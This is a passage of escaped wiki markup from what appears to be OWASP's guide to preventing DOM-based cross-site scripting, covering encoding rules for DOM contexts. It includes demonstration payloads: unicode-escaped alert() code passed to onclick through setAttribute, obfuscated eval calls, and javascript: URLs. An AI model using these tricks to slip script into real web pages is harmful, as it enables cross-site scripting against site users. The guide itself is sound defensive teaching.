 element.innerHTML = “&amp;lt;HTML&amp;gt; Tags and markup”;&lt;br /&gt;
 element.outerHTML = “&amp;lt;HTML&amp;gt; Tags and markup”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Methods====&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.write(“&amp;lt;HTML&amp;gt; Tags and markup”);&lt;br /&gt;
 document.writeln(“&amp;lt;HTML&amp;gt; Tags and markup”);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Guideline===&lt;br /&gt;
To make dynamic updates to HTML in the DOM safe, we recommend a) HTML encoding, and then b) JavaScript encoding all untrusted input, as shown in these examples:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 element.innerHTML = “&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”;&lt;br /&gt;
 element.outerHTML = “&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.write(“&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”);&lt;br /&gt;
 document.writeln(“&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: The Encoder.encodeForHTML() and Encoder.encodeForJS() are just notional encoders. Various options for actual encoders are listed later in this document.&lt;br /&gt;
&lt;br /&gt;
== RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext within the Execution Context ==&lt;br /&gt;
&lt;br /&gt;
The HTML attribute *subcontext* within the *execution* context is divergent from the standard encoding rules. This is because the rule to HTML attribute encode in an HTML attribute rendering context is necessary in order to mitigate attacks which try to exit out of an HTML attributes or try to add additional attributes which could lead to XSS.  When you are in a DOM execution context you only need to JavaScript encode HTML attributes which do not execute code (attributes other than event handler, CSS, and URL attributes).&lt;br /&gt;
&lt;br /&gt;
For example, the general rule is to HTML Attribute encode untrusted data (data from the database, HTTP request, user, back-end system, etc.) placed in an HTML Attribute.  This is the appropriate step to take when outputting data in a rendering context, however using HTML Attribute encoding in an execution context will break the application display of data.&lt;br /&gt;
&lt;br /&gt;
=== SAFE but BROKEN example===&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(“input”);&lt;br /&gt;
 x.setAttribute(“name”, “company_name”);&lt;br /&gt;
 // In the following line of code, companyName represents untrusted user input&lt;br /&gt;
 // The Encoder.encodeForHTMLAttr() is unnecessary and causes double-encoding&lt;br /&gt;
 x.setAttribute(“value”, ‘&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTMLAttr(companyName))%&amp;gt;’); &lt;br /&gt;
 var form1 = document.forms[0];&lt;br /&gt;
 form1.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The problem is that if companyName had the value “Johnson &amp;amp; Johnson”.  What would be displayed in the input text field would be “Johnson &amp;amp;amp;amp; Johnson”.  The appropriate encoding to use in the above case would be only JavaScript encoding to disallow an attacker from closing out the single quotes and in-lining code, or escaping to HTML and opening a new script tag.&lt;br /&gt;
&lt;br /&gt;
===SAFE and FUNCTIONALLY CORRECT example===&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(“input”);&lt;br /&gt;
 x.setAttribute(“name”, “company_name”);&lt;br /&gt;
 x.setAttribute(“value”, ‘&amp;lt;%=Encoder.encodeForJS(companyName)%&amp;gt;’);&lt;br /&gt;
 var form1 = document.forms[0];&lt;br /&gt;
 form1.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is important to note that when setting an HTML attribute which does not execute code, the value is set directly within the object attribute of the HTML element so there is no concerns with injecting up.&lt;br /&gt;
&lt;br /&gt;
==RULE #3 - Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts within an Execution Context==&lt;br /&gt;
&lt;br /&gt;
Putting dynamic data within JavaScript code is especially dangerous because JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings.  In many cases, JavaScript encoding does not stop attacks within an execution context.  For example, a JavaScript encoded string will execute even though it is JavaScript encoded.&lt;br /&gt;
&lt;br /&gt;
Therefore, the primary recommendation is to &amp;lt;u&amp;gt;avoid including untrusted data in this context&amp;lt;/u&amp;gt;. If you must, the following examples describe some approaches that do and do not work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(&amp;quot;a&amp;quot;);&lt;br /&gt;
 x.href=&amp;quot;#”;&lt;br /&gt;
 // In the line of code below, the encoded data on the right (the second argument to setAttribute) &lt;br /&gt;
 // is an example of untrusted data that was properly JavaScript encoded but still executes.&lt;br /&gt;
 x.setAttribute(&amp;quot;onclick&amp;quot;, &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029&amp;quot;);&lt;br /&gt;
 var y = document.createTextNode(&amp;quot;Click To Test&amp;quot;);&lt;br /&gt;
 x.appendChild(y);&lt;br /&gt;
 document.body.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The setAttribute(&amp;lt;i&amp;gt;name_string&amp;lt;/i&amp;gt;,&amp;lt;i&amp;gt;value_string&amp;lt;/i&amp;gt;) method is dangerous because it implicitly coerces the  &amp;lt;i&amp;gt;string_value&amp;lt;/i&amp;gt; into the DOM attribute datatype of &amp;lt;i&amp;gt;name_string&amp;lt;/i&amp;gt;.  In the case above, the attribute name is an JavaScript event handler, so the attribute value is implicitly converted to JavaScript code and evaluated.  In the case above, JavaScript encoding does not mitigate against DOM based XSS.  Other JavaScript methods which take code as a string types will have a similar problem as outline above (setTimeout, setInterval, new Function, etc.).  This is in stark contrast to JavaScript encoding in the event handler attribute of a HTML tag (HTML parser) where JavaScript encoding mitigates against XSS.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
&amp;lt;!-- Does NOT work  --&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;bb&amp;quot; href=&amp;quot;#&amp;quot; onclick=&amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029&amp;quot;&amp;gt; Test Me&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An alternative to using Element.setAttribute(...) to set DOM attributes is to set the attribute directly.  Directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. Please note, it is always dangerous design to put untrusted data directly into a command execution context.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    &amp;lt;a id=&amp;quot;bb&amp;quot; href=&amp;quot;#&amp;quot;&amp;gt; Test Me&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
            //The following does NOT work because the event handler is being set to a string.  &amp;quot;alert(7)&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onclick = &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029&amp;quot;;&lt;br /&gt;
            &lt;br /&gt;
            //The following does NOT work because the event handler is being set to a string.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = &amp;quot;testIt&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
            //The following does NOT work because of the encoded &amp;quot;(&amp;quot; and &amp;quot;)&amp;quot;. &amp;quot;alert(77)&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;&lt;br /&gt;
&lt;br /&gt;
            //The following does NOT work because of the encoded &amp;quot;;&amp;quot;. &amp;quot;testIt;testIt&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074\u003b\u0074\u0065\u0073\u0074\u0049\u0074;&lt;br /&gt;
      &lt;br /&gt;
            //The following DOES WORK because the encoded value is a valid variable name or function reference.  &amp;quot;testIt&amp;quot; is JavaScript encoded&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;&lt;br /&gt;
&lt;br /&gt;
            function testIt() {&lt;br /&gt;
                &lt;br /&gt;
                alert(&amp;quot;I was called.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are other places in JavaScript where JavaScript encoding is accepted as valid executable code.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 for ( var \u0062=0; \u0062 &amp;lt; 10; \u0062++){&lt;br /&gt;
     \u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074                  &lt;br /&gt;
     .\u0077\u0072\u0069\u0074\u0065\u006c\u006e&lt;br /&gt;
     (&amp;quot;\u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 \u0077\u0069\u006e\u0064\u006f\u0077&lt;br /&gt;
 .\u0065\u0076\u0061\u006c&lt;br /&gt;
 \u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074&lt;br /&gt;
 .\u0077\u0072\u0069\u0074\u0065(111111111);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var s = &amp;quot;\u0065\u0076\u0061\u006c&amp;quot;;&lt;br /&gt;
 var t = &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029&amp;quot;;&lt;br /&gt;
 window[s](t);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Because JavaScript is based on an international standard (ECMAScript), JavaScript encoding enables the support of international characters in programming constructs and variables in addition to alternate string representations (string escapes).  &lt;br /&gt;
&lt;br /&gt;
However the opposite is the case with HTML encoding.  HTML tag elements are well defined and do not support alternate representations of the same tag.  So HTML encoding cannot be used to allow the developer to have alternate representations of the &amp;lt;code&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/code&amp;gt; tag for example.&lt;br /&gt;
&lt;br /&gt;
===HTML Encoding’s Disarming Nature===&lt;br /&gt;
&lt;br /&gt;
In general, HTML encoding serves to castrate HTML tags which are placed in HTML and HTML attribute contexts.&lt;br /&gt;
Working example (no HTML encoding):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”…” &amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Normally encoded example (Does Not Work – DNW):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;amp;amp;#x3c;a href=… &amp;amp;amp;#x3e;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;&amp;amp;amp;#x61; href=…&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If HTML encoding followed the same semantics as JavaScript encoding.  The line above could have possibily worked to render a link.  This difference makes JavaScript encoding a less viable weapon in our fight against XSS.&lt;br /&gt;
&lt;br /&gt;
==RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext within the Execution Context==&lt;br /&gt;
&lt;br /&gt;
Normally executing JavaScript from a CSS context required either passing &amp;lt;code&amp;gt;javascript:attackCode()&amp;lt;/code&amp;gt; to the CSS url() method or invoking the CSS expression() method passing JavaScript code to be directly executed.  From my experience, calling the expression() function from an execution context (JavaScript) has been disabled.  In order to mitigate against the CSS url() method, ensure that you are URL encoding the data passed to the CSS url() method.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.body.style.backgroundImage = &amp;quot;url(&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForURL(companyName))%&amp;gt;)&amp;quot;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO: We have not been able to get the expression() function working from DOM JavaScript code.  Need some help.&lt;br /&gt;
&lt;br /&gt;
== RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext within the Execution Context ==&lt;br /&gt;
&lt;br /&gt;
The logic which parses URLs in both execution and rendering contexts looks to be the same.  Therefore there is little change in the encoding rules for URL attributes in an execution (DOM) context.&lt;br /&gt;
&lt;br /&gt;
 var x = document.createElement(“a”);&lt;br /&gt;
 x.setAttribute(“href”, ‘&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%&amp;gt;’);&lt;br /&gt;
 var y = document.createTextElement(“Click Me To Test”);&lt;br /&gt;
 x.appendChild(y);&lt;br /&gt;
 document.body.appendChild(x);&lt;br /&gt;
&lt;br /&gt;
If you utilize fully qualified URLs then this will break the links as the colon in the protocol identifier (“http:” or “javascript:”) will be URL encoded preventing the “http” and “javascript” protocols from being invoked.&lt;br /&gt;
&lt;br /&gt;
== RULE #6 - Populate the DOM using safe JavaScript functions or properties ==&lt;br /&gt;
&lt;br /&gt;
The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, textContent. Here is an example of safe usage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 element.textContent = “&amp;lt;%=untrustedData%&amp;gt;”;  //does not executes code&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Guidelines for Developing Secure Applications Utilizing JavaScript=&lt;br /&gt;
&lt;br /&gt;
DOM based XSS is extremely difficult to mitigate against because of its large attack surface and lack of standardization across browsers.  The guidelines below are an attempt to provide guidelines for developers when developing Web based JavaScript applications (Web 2.0) such that they can avoid XSS.&lt;br /&gt;
&lt;br /&gt;
1. Untrusted data should only be treated as displayable text.  Never treat untrusted data as code or markup within JavaScript code. &amp;lt;br/&amp;gt;&lt;br /&gt;
2. Always JavaScript encode and delimit untrusted data as quoted strings when entering the application (Jim Manico and Robert Hansen) &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = “&amp;lt;%=encodedJavaScriptData%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
3. Use &amp;lt;code&amp;gt;document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…)&amp;lt;/code&amp;gt;, etc. to build dynamic interfaces.  Please note, element.setAttribute is only safe for a limited number of attributes. Dangerous attributes include any attribute that is a command execution context, such as onclick or onblur. Examples of safe attributes includes align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width.&amp;lt;br/&amp;gt;&lt;br /&gt;
4. Avoid use of HTML rendering methods:&amp;lt;br/&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;element.innerHTML = “…”; &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;element.outerHTML = “…”; &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;document.write(…); &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;document.writeln(…); &amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
5. Understand the dataflow of untrusted data through your JavaScript code.  If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data (Stefano Di Paola).&amp;lt;br/&amp;gt;&lt;br /&gt;
6. There are numerous methods which implicitly eval() data passed to it.  Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.  Ensure to follow step 4 above to make sure that the untrusted data is not sent to dangerous methods within the custom function or handle it by adding an extra layer of encoding.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Utilizing an Enclosure (as suggested by Gaz)&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example that follows illustrates using closures to avoid double JavaScript encoding.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 setTimeout((function(param) { return function() {&lt;br /&gt;
          customFunction(param);&lt;br /&gt;
          }&lt;br /&gt;
 })(&amp;quot;&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;&amp;quot;), y);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The other alternative is using N-levels of encoding.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;N-Levels of Encoding&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If your code looked like the following, you would need to only double JavaScript encode input data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 setTimeout(“customFunction(‘&amp;lt;%=doubleJavaScriptEncodedData%&amp;gt;’, y)”);&lt;br /&gt;
 function customFunction (firstName, lastName)&lt;br /&gt;
       alert(&amp;quot;Hello&amp;quot; + firstName + &amp;quot; &amp;quot; + lastNam);&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;doubleJavaScriptEncodedData&amp;lt;/code&amp;gt; has its first layer of JavaScript encoding reversed (upon execution) in the single quotes.  Then the implicit &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; of &amp;lt;code&amp;gt;setTimeout()&amp;lt;/code&amp;gt; reverses another layer of JavaScript encoding to pass the correct value to &amp;lt;code&amp;gt;customFunction&amp;lt;/code&amp;gt;.  The reason why you only need to double JavaScript encode is that the &amp;lt;code&amp;gt;customFunction&amp;lt;/code&amp;gt; function did not itself pass the input to another method which implicitly or explicitly called &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt;.  If &amp;quot;firstName&amp;quot; was passed to another JavaScript method which implicitly or explicitly called eval() then &amp;lt;code&amp;gt;&amp;lt;%=doubleJavaScriptEncodedData%&amp;gt;&amp;lt;/code&amp;gt; above would need to be changed to &amp;lt;code&amp;gt;&amp;lt;%=tripleJavaScriptEncodedData%&amp;gt;&amp;lt;/code&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An important implementation note is that if the JavaScript code tries to utilize the double or triple encoded data in string comparisons, the value may be interpreted as different values based on the number of evals() the data has passed through before being passed to the if comparison and the number of times the value was JavaScript encoded.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If &amp;quot;A&amp;quot; is double JavaScript encoded then the following if check will return false.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = &amp;quot;doubleJavaScriptEncodedA&amp;quot;;  //\u005c\u0075\u0030\u0030\u0034\u0031&lt;br /&gt;
 if (x == &amp;quot;A&amp;quot;) {&lt;br /&gt;
    alert(&amp;quot;x is A&amp;quot;);&lt;br /&gt;
 } else if (x == &amp;quot;\u0041&amp;quot;) {&lt;br /&gt;
    alert(&amp;quot;This is what pops&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This brings up an interesting design point.  Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output context where data is introduced into the application.  Then client-side encode (using a JavaScript encoding library such as ESAPI4JS) for the individual subcontext (DOM methods) which untrusted data is passed to.  ESAPI4JS (located at http://bit.ly/9hRTLH) and jQuery Encoder (located at https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js) are two client side encoding libraries developed by Chris Schmidt.&amp;lt;br/&amp;gt;&lt;br /&gt;
Here are some examples of how they are used:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var input = “&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;”;  //server-side encoding&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 window.location = ESAPI4JS.encodeForURL(input);  //URL encoding is happening in JavaScript&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.writeln(ESAPI4JS.encodeForHTML(input));  //HTML encoding is happening in JavaScript&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It has been well noted by the group that any kind of reliance on a JavaScript library for encoding would be problematic as the JavaScript library could be subverted by attackers.  One option is to wait till ECMAScript 5 so the JavaScript library could support immutable properties.&amp;lt;br/&amp;gt;&lt;br /&gt;
Another option provided by Gaz (Gareth) was to use a specific code construct to limit mutability with anonymous clousures.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An example follows:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 function escapeHTML(str) {&lt;br /&gt;
      str = str + &amp;quot;''&amp;quot;;&lt;br /&gt;
      var out = &amp;quot;''&amp;quot;;&lt;br /&gt;
      for(var i=0; i&amp;lt;str.length; i++) {&lt;br /&gt;
          if(str[i] === '&amp;lt;') {&lt;br /&gt;
              out += '&amp;amp;amp;lt;';&lt;br /&gt;
          } else if(str[i] === '&amp;gt;') {&lt;br /&gt;
              out += '&amp;amp;amp;gt;';&lt;br /&gt;
          } else if(str[i] === &amp;quot;'&amp;quot;) {&lt;br /&gt;
              out += '&amp;amp;amp;#39;'; &lt;br /&gt;
          } else if(str[i] === '&amp;quot;') {&lt;br /&gt;
              out += '&amp;amp;amp;quot;';                        &lt;br /&gt;
          } else {&lt;br /&gt;
              out += str[i];&lt;br /&gt;
          }&lt;br /&gt;
      }&lt;br /&gt;
      return out;                    &lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;Chris Schmidt has put together another implementation of a JavaScript encoder at http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html.  &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6. Limit the usage of dynamic untrusted data to right side operations.  And be aware of data which may be passed to the application which look like code (eg. &amp;lt;code&amp;gt;location&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt;).  (Achim)&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = “&amp;lt;%=properly encoded data for flow%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you want to change different object attributes based on user input use a level of indirection.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instead of: &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 window[userData] = “moreUserData”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Do the following instead:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 if (userData===”location”) {&lt;br /&gt;
    window.location = “static/path/or/properly/url/encoded/value”;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. When URL encoding in DOM be aware of character set issues as the character set in JavaScript DOM is not clearly defined (Mike Samuel).&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
8. Limit access to properties objects when using object[x] accessors. (Mike Samuel).  In other words use a level of indirection between untrusted input and specified object properties.&amp;lt;br/&amp;gt;&lt;br /&gt;
Here is an example of the problem when using map types:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var myMapType = {};&lt;br /&gt;
 myMapType[&amp;lt;%=untrustedData%&amp;gt;] = “moreUntrustedData”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although the developer writing the code above was trying to add additional keyed elements to the &amp;lt;code&amp;gt;myMapType&amp;lt;/code&amp;gt; object.  This could be used by an attacker to subvert internal and external attributes of the &amp;lt;code&amp;gt;myMapType&amp;lt;/code&amp;gt; object.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
9. Run your JavaScript in a ECMAScript 5 canopy or sand box to make it harder for your JavaScript API to be compromised (Gareth Heyes and John Stevens).&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
10. Don’t &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; JSON to convert it to native JavaScript objects.  Instead use &amp;lt;code&amp;gt;JSON.toJSON()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;JSON.parse()&amp;lt;/code&amp;gt; (Chris Schmidt).&lt;br /&gt;
&lt;br /&gt;
=  Common Problems Associated with Mitigating DOM Based XSS =&lt;br /&gt;
==Complex Contexts==&lt;br /&gt;
In many cases the context isn’t always straightforward to discern.&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=untrustedData%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 Function myFunction (url,name) {&lt;br /&gt;
     window.location = url;&lt;br /&gt;
 }&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the above example, untrusted data started in the rendering URL context (&amp;lt;code&amp;gt;href&amp;lt;/code&amp;gt; attribute of an &amp;lt;code&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/code&amp;gt; tag) then changed to a JavaScript execution context (&amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; protocol handler) which passed the untrusted data to an execution URL subcontext (&amp;lt;code&amp;gt;window.location&amp;lt;/code&amp;gt; of myFunction).  Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=Encoder.encodeForJS( &amp;amp;#x21a9;&lt;br /&gt;
               Encoder.encodeForURL(untrustedData))%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 …&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--server side URL encoding has been removed.  Now only JavaScript encoding on server side. --&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 Function myFunction (url,name) {&lt;br /&gt;
     var encodedURL = ESAPI4JS.encodeForURL(url);  //URL encoding using client-side scripts&lt;br /&gt;
     window.location = encodedURL;&lt;br /&gt;
 }&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Inconsistencies of Encoding Libraries ==&lt;br /&gt;
There are a number of open source encoding libraries out there:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#[[ESAPI]]&lt;br /&gt;
#Apache Commons String Utils&lt;br /&gt;
#Jtidy&lt;br /&gt;
#Your company’s custom implementation.&lt;br /&gt;
&lt;br /&gt;
Some work on a black list while others ignore important characters like “&amp;lt;” and “&amp;gt;”.  ESAPI is one of the few which works on a whitelist and encodes all non-alphanumeric characters.&lt;br /&gt;
